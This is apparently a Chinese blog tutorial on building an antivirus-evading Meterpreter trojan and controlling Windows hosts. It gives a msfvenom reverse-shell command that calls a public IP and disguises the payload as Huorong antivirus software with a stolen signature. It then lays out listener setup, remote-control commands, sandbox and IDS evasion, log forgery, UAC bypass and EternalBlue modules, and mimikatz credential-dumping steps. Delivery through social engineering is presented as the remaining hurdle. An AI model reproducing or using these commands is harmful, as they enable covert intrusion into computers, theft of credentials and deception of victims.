一次msf免杀渗透入门实践

攻击对象:windows主机

一.shell制作

1.准备工具

复制代码
kali-linux
Metasploit模块(msfvenom和msfconsole)
VMP加壳软件
https://gitcode.com/Universal-Tool/42a67/blob/main/VMProtect%20Ultimate%20v3.3.1.zip
sigthief签名软件
https://github.com/secretsquirrel/SigThief
ResHacker资源替换软件https://github.com/TideSec/BypassAntiVirus/blob/master/tools/mimikatz/ResHacker.zip

2.创建shell(编码加密+捆绑软件)

复制代码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.239.21.238 LPORT=1235 -e x86/shikata_ga_nai -x test.exe -i 12 -f exe -O huorong.exe 

-p:指定payload类型为Windows Meterpreter反向TCP连接

LHOST:控制端IP地址

LPORT:控制端监听端口

-e x86/shikata_ga_nai:指定编码器为shitaka_ga_nai(一种多态编码器,适合x86架构)

-x test.exe:指定要捆绑的原始可执行文件

-i 12:指定12次编码(多次编码可以增强免杀效果,但会增加文件大小)

-f exe:指定输出格式为windows可执行文件

-O:输出shell到指定文件

3.替换资源

用RH替换火绒的图标

4.vmp加壳

打开vmp,使用vmp进行加壳

5.数字签名

将sigthief.py文件放在当前目录下

复制代码
python sigthief.py -i HipsMain.exe -t huorong.exe -o hr.exe

-i:要提取签名的文件

-t:应用签名的文件

-o:输出的目标文件

6.查杀结果(23/72)

说实话,这个免杀还是太简陋了点,应该再加点pe修改或多次加密,最好是自研脚本(1/62的查杀率:D)

二.远程控制

tip(核心难点:通过社工把这个shell安然无恙放到目标主机上,当然要是对方电脑上啥安全措施都没就当我没说)

1.打开msfconsole

复制代码
msfconsole

2.选择监听器

复制代码
use exploit/multi/handler

exploit/multi/handler:一个多功能监听器(建立监听岗位)

3.配置载荷

复制代码
set payload windows/meterpreter/reverse_tcp

windows/meterpreter/reverse_tcp:建立一个反向TCP连接(由机器内部向外网发起连接,更容易成功)

4.配置攻击机设置

复制代码
set LHOST 47.239.21.238
set LPORT 1235

这里的LHOST与LPORT必须跟木马的一致

5.显示配置

复制代码
show options

6.开始监听

复制代码
exploit(或run)

当木马在目标机上运行时,攻击机就能与目标机进行连接从而实现控制目的

三.控制指令

复制代码
run vnc -i#监视屏幕
upload ./oriFile ./desName#上传文件到靶机
download ./desFile ./local#下载靶机文件
shell#进入靶机终端
sysinfo#显示靶机基本信息
screenshot#屏幕截图

四. 反病毒与防御绕过

在实际渗透测试中,防病毒软件、入侵检测系统(IDS)、入侵防御系统(IPS)等防御措施通常会成为绕过攻击的一个大难题。为了提高渗透测试成功的几率,理解如何绕过这些防御措施是非常重要的。

1. 反病毒绕过

反病毒软件通常通过签名检测、行为分析和沙箱技术来发现和拦截恶意软件。针对这些防御技术,可以采用以下方法绕过:

  • 加密与编码 :通过多次编码和加壳来改变恶意代码的特征,使其难以被反病毒软件识别。例如,使用msfvenom的-e参数指定编码器,如x86/shikata_ga_nai,以及多次编码(-i参数)。

  • 使用多种加壳工具:除了VMP(VMProtect)之外,还可以使用其他加壳工具,如Themida、Enigma Protector等,来进一步增强木马的隐蔽性。

  • 注入合法进程:通过将恶意载荷注入到合法进程(如explorer.exe、svchost.exe)中,从而绕过反病毒软件的监控。

  • 利用签名伪装 :使用SigThief等工具获取有效的数字签名并伪装恶意文件,以提高木马的可信度。

2. 沙箱检测绕过

现代的反病毒软件往往会将未知程序发送到虚拟沙箱中执行,以检测其是否为恶意软件。为此,可以采取以下策略:

  • 延迟执行:通过在恶意代码中加入延时代码,推迟代码执行的时间,从而避免在沙箱中被立即检测到。

  • 反沙箱检测:通过检查系统环境(如检测是否处于虚拟机中),在程序启动时决定是否执行恶意载荷。

3. 反入侵检测系统(IDS/IPS)绕过

入侵检测和防御系统的目的是监控和拦截网络中的恶意行为。为了绕过这些系统,可以采取以下技术:

  • 流量加密:通过加密通信流量,防止IDS/IPS检测到恶意流量的特征。

  • 变换攻击模式:通过变换攻击的方式(如对shellcode进行变形或使用不同的攻击方法),使得攻击流量不易被IDS/IPS的规则库检测到。

五. 后渗透技巧

一旦成功获取了目标主机的控制权,后渗透阶段的目标通常是扩大权限、横向移动和收集更多的信息。以下是一些常见的后渗透技巧:

1. 权限提升
  • 利用弱密码:通过暴力破解或字典攻击,获取目标主机上的管理员权限。

  • 利用漏洞:针对操作系统或应用程序中的已知漏洞(如MS17-010 EternalBlue)进行漏洞利用,提升权限。

2. 横向移动
  • Pass-the-Hash:通过捕获目标主机上的哈希值,将其用作身份验证,访问同一网络中的其他主机。

  • RDP攻击:利用已获取的凭证,通过远程桌面协议(RDP)访问其他目标主机。

3. 信息收集
  • 系统信息收集 :使用sysinfoipconfignetstat等命令收集目标主机的基本信息。

  • 凭证抓取 :使用mimikatz等工具抓取目标主机上的明文密码、存储在Windows凭据管理器中的密码、LSA凭证等。

4. 保持持久性
  • 植入反向Shell:通过修改注册表或启动项,确保恶意代码在每次重启后自动运行。

  • 建立反向连接 :利用如netcat等工具,配置目标主机与攻击机之间的反向连接,保持持久的访问权限。

六. 防御与检测

了解防御技术对于渗透测试者来说至关重要。只有了解了防御方的做法,才能设计有效的攻击策略。

1. 反病毒与IDS/IPS监控

反病毒软件通常会监控文件系统中的可疑活动,IDS/IPS会监控网络流量。渗透测试者需要了解如何绕过这些监控,或者模拟防御方可能采取的反制措施。

2. 日志审计与分析

许多组织会启用日志记录功能,特别是针对管理员权限的操作。日志审计可以帮助检测异常行为。因此,攻击者需要注意隐藏操作痕迹,甚至伪造日志条目。

3. 基于行为的检测

许多高级反病毒软件和IDS/IPS系统都采用了行为分析,检测程序是否表现出恶意行为。因此,攻击者需要避免使用常见的攻击模式,并尽量使攻击行为更隐蔽

拓展内容:

1.msfconsole相关命令

复制代码
常用模块
use auxiliary/scanner/smb/smb_ms17_010#探测是否存在MS17-010漏洞模块
use exploit/windows/smb/ms17_010_eternalblue#利用永恒之蓝模块
常用监听器配置
set ExitOnSession false#接收多个会话
exploit -j#让监听器在后台运行
set AutoRunScript post/windows/manage/migrate自动迁移进程(避免程序关闭导致会话丢失)
常用payload
set payload windows/meterpreter/reverse_tcp#反向TCP
set payload windows/x64/meterpreter/reverse_tcp#针对x64的反向TCP
set payload windows/meterpreter/reverse_https#反向HTTPS
set payload windows/meterpreter/bind_tcp#绑定TCP
set payload linux/x64/meterpreter/reverse_tcp#linux系统反向TCP
set payload android/meterpreter/reverse_tcp#安卓应用反向TCP

2.在msf中使用kiwi(Mimikatz)模块

(1).手动方法:
复制代码
upload mimikatz.exe C:\\Windows\\Temp\\e.exe#手动上传对应版本的mimikatz
shell#打开cmd
cd /d C:\\Windows\\Temp#切换当前目录
e.exe "privilege::debug" "sekurlsa::logonpasswords" exit#获取明文密码
(2).交互方法:

提权(如果当前权限非Administrator或System时):

方法一:

复制代码
getuid#查看当前系统权限
getsystem#多数情况下不能获取,可以试一下

方法二:

复制代码
background#把会话放到后台
use exploit/windows/local/bypassuac#尝试绕过UAC
set session [UID]#设置会话
exploit

方法三:

复制代码
use exploit/windows/local/ask#利用UAC提权
set session [UID]
set FILENAME System32.exe#设置一个迷惑的名字
exploit
##靶机只要允许程序运行即可提权

如果以上方法都不行:

复制代码
run post/multi/recon/local_exploit_suggester#尝试本地提权漏洞检查

查看当前权限:

复制代码
run post/windows/gather/win_privs#如果在本地管理员组就能用kiwi

kiwi相关用法:

复制代码
load kiwi#加载kiwi模块
creds_all#列举所有凭据
creds_msv#列举所有msv凭据
creds_ssp#列举所有ssp凭据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz命令
kiwi_cmd privilege::debug#尝试获取debug权限
kiwi_cmd sekurlsa::logonpasswords#使用kiwi抓取全部明文密码

参考资料:https://blog.csdn.net/weixin_46236101/article/details/114745232

https://blog.csdn.net/weixin_74545038/article/details/134315726

https://blog.csdn.net/m0_65712192/article/details/127637917

相关推荐
小白勇闯网安圈4 小时前
Vmware的Ubuntu构建极简版Linux发行版
linux
汤愈韬4 小时前
防火墙用户管理技术
网络协议·网络安全·huawei
刘某的Cloud4 小时前
shell脚本-read-输入
linux·运维·bash·shell·read
broad-sky4 小时前
Ubuntu上查看USB相机连接的是哪个口,如何查看
linux·数码相机·ubuntu
秋深枫叶红4 小时前
嵌入式第三十七篇——linux系统编程——线程控制
linux·学习·线程·系统编程
shaohui9735 小时前
ARMv7 linux中断路由以及处理
linux·gic·cpsr·armv7
三小尛5 小时前
linux的开发工具vim
linux·运维·vim
陈陈爱java5 小时前
Conda 常用命令行
linux·windows·conda
twdnote5 小时前
dokcer 环境中集成LibreOffice
linux